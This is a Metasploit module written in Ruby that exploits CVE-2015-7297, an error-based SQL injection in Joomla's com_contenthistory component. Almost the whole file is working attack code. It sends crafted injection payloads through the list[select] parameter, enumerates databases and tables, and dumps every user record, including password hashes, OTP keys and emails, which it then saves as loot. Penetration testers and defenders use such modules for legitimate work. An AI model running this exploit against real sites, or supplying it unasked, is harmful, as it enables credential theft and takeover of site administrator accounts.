134 lines
5.7 KiB
Ruby
134 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Joomla com_contenthistory Error-Based SQL Injection',
|
|
'Description' => %q{
|
|
This module exploits a SQL injection vulnerability in Joomla versions 3.2 through 3.4.4
|
|
in order to either enumerate usernames and password hashes or session IDs.
|
|
},
|
|
'References' =>
|
|
[
|
|
['CVE', '2015-7297'],
|
|
['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Asaf Orpani', #discovery
|
|
'bperry' #metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => "Oct 22 2015"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new("TARGETURI", [true, 'The relative URI of the Joomla instance', '/'])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
flag = Rex::Text.rand_text_alpha(8)
|
|
left_marker = Rex::Text.rand_text_alpha(5)
|
|
right_marker = Rex::Text.rand_text_alpha(5)
|
|
|
|
payload = "AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT 0x#{flag.unpack("H*")[0]}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
|
|
|
|
res = sqli(payload)
|
|
|
|
if res and res.body =~ /#{left_marker}#{flag}#{right_marker}/
|
|
return Msf::Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Msf::Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def run
|
|
left_marker = Rex::Text.rand_text_alpha(5)
|
|
right_marker = Rex::Text.rand_text_alpha(5)
|
|
|
|
db_count = "AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
|
|
res = sqli(db_count)
|
|
db_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
|
|
|
|
dbs = []
|
|
0.upto(db_count-1) do |i|
|
|
db = "AND (SELECT 2255 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
|
|
res = sqli(db)
|
|
dbs << $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
|
|
end
|
|
|
|
dbs.delete('performance_schema')
|
|
dbs.delete('information_schema')
|
|
dbs.delete('mysql')
|
|
|
|
users = []
|
|
dbs.each do |db|
|
|
vprint_status("Found database: " + db)
|
|
tables = []
|
|
table_count = "AND (SELECT 8640 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]})),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
|
|
res = sqli(table_count)
|
|
table_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
|
|
|
|
0.upto(table_count-1) do |i|
|
|
table = "AND (SELECT 2474 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]}) LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
|
|
res = sqli(table)
|
|
table = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
|
|
tables << table if table =~ /_users$/
|
|
end
|
|
|
|
tables.each do |table|
|
|
vprint_status("Found table: " + table)
|
|
user_count = "AND (SELECT 3737 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{db}.#{table}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
|
|
res = sqli(user_count)
|
|
user_count = $1.to_i if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
|
|
cols = ["activation","block","email","id","lastResetTime","lastvisitDate","name","otep","otpKey","params","password","registerDate","requireReset","resetCount","sendEmail","username"]
|
|
|
|
0.upto(user_count-1) do |i|
|
|
user = {}
|
|
cols.each do |col|
|
|
k = 1
|
|
val = nil
|
|
user[col] = ''
|
|
while val != ''
|
|
get_col = "AND (SELECT 7072 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),#{k},54) FROM #{db}.#{table} ORDER BY id LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
|
|
res = sqli(get_col)
|
|
val = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/
|
|
user[col] << val
|
|
k = k + 54
|
|
end
|
|
end
|
|
users << user
|
|
end
|
|
end
|
|
end
|
|
|
|
path = store_loot('joomla.file', 'text/plain', datastore['RHOST'], users.to_json, 'joomla.users')
|
|
print_good("Users saved to file: " + path)
|
|
end
|
|
|
|
def sqli(payload)
|
|
return send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'vars_get' => {
|
|
'option' => 'com_contenthistory',
|
|
'view' => 'history',
|
|
'list[ordering]' => '',
|
|
'item_id' => 1,
|
|
'type_id' => 1,
|
|
'list[select]' => "1 " + payload
|
|
}
|
|
})
|
|
end
|
|
end
|